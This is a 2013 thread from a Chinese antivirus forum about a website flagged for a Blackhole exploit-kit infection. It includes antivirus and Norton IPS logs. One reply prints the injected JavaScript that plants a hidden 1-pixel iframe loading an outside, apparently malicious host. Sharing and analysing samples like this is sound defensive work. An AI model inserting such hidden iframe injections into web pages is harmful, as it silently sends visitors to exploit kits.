查看: 1772|回复: 2
收起左侧

[已鉴定] http://www.joaojardim.net/a/index.php?option=com_expose

 关闭 [复制链接]
墨家小子
发表于 2013-4-12 13:25:23 | 显示全部楼层 |阅读模式
2013/4/12        13:24:12        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RLIJ4Q7J\index[1].htm\00001e9e.js        JS/Exploit-Blacole.le (特洛伊)
2013/4/12        13:24:12        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RLIJ4Q7J\index[1].htm\000051f8.js        JS/Exploit-Blacole.le (特洛伊)
哀酱俏佳人
发表于 2013-4-12 15:54:37 | 显示全部楼层
本帖最后由 哀酱俏佳人 于 2013-4-12 15:57 编辑
(function () {
    var wgjtl = document.createElement('iframe');

    wgjtl.src = 'http://tousif.com
uv.com/sg_services_media/rel.php';
    wgjtl.style.position = 'absolute';
    wgjtl.style.border = '
0';
    wgjtl.style.height = '1px';
    wgjtl.style.width = '1px';
    wgjtl.style.left = '1px';
   
wgjtl.style.top = '1px';

    if (!document.getElementById('wgjtl')) {
        document.write('<div
id=\'wgjtl\'></div>');
        document.getElementById('wgjtl').appendChild(wgjtl);
    }
})();



不知还有木有其他的




Tom179090
发表于 2013-4-12 17:22:54 | 显示全部楼层
本帖最后由 Tom179090 于 2013-4-12 17:24 编辑

诺顿拦截到两次攻击
类别: 入侵防护
日期和时间,风险,活动,状态,推荐的操作,IPS 警报名称,默认操作,采取的操作,攻击电脑,攻击者网址,目标地址,源地址,通信说明
2013/4/12 星期五 17:21:56,高,阻止了 ww  w.j oaojardim.net 的入侵企图,已阻止,不需要操作,Web Attack: Mass Injection Website 5,不需要操作,不需要操作,"ww w.joaojardim.net (108.162.199.114, 80)",[url]www.joaojardim.net/a/index.php?option=com_expose"TOM (192.168.1.14, 60219)",108.162.199.114 (108.162.199.114),"TCP, ww w-http"
来自 <b>www.joaojardim.net/a/index  .php?option=com_expose</b> 的网络通信与已知攻击的特征相匹配。攻击由 \DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\GOOGLE\CHROME\APPLICATION\CHROME.EXE 引起。  要停止接收有关此类通信的通知,请在<b>“操作”</b>面板中单击<b>“不再提醒我”</b>。
类别: 入侵防护
日期和时间,风险,活动,状态,推荐的操作,IPS 警报名称,默认操作,采取的操作,攻击电脑,攻击者网址,目标地址,源地址,通信说明
2013/4/12 星期五 17:21:58,高,阻止了 [url]www.joaojardim.net 的入侵企图,已阻止,不需要操作,Web Attack: Mass Injection Website 5,不需要操作,不需要操作,"www.joao  jardim.net (108.162.199.114, 80)",[url]www.joaojardim.net/a/in dex.php?option=com_expose,"TOM (192.168.1.14, 60220)",108.162.199.114 (108.162.199.114),"TCP, www-http"
来自 <b>www.joaojardim.net/a/index.php?option=com_expose</b> 的网络通信与已知攻击的特征相匹配。攻击由 \DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\GOOGLE\CHROME\APPLICATION\CHROME.EXE 引起。  要停止接收有关此类通信的通知,请在<b>“操作”</b>面板中单击<b>“不再提醒我”</b>。



您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-2 16:44 , Processed in 0.135459 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表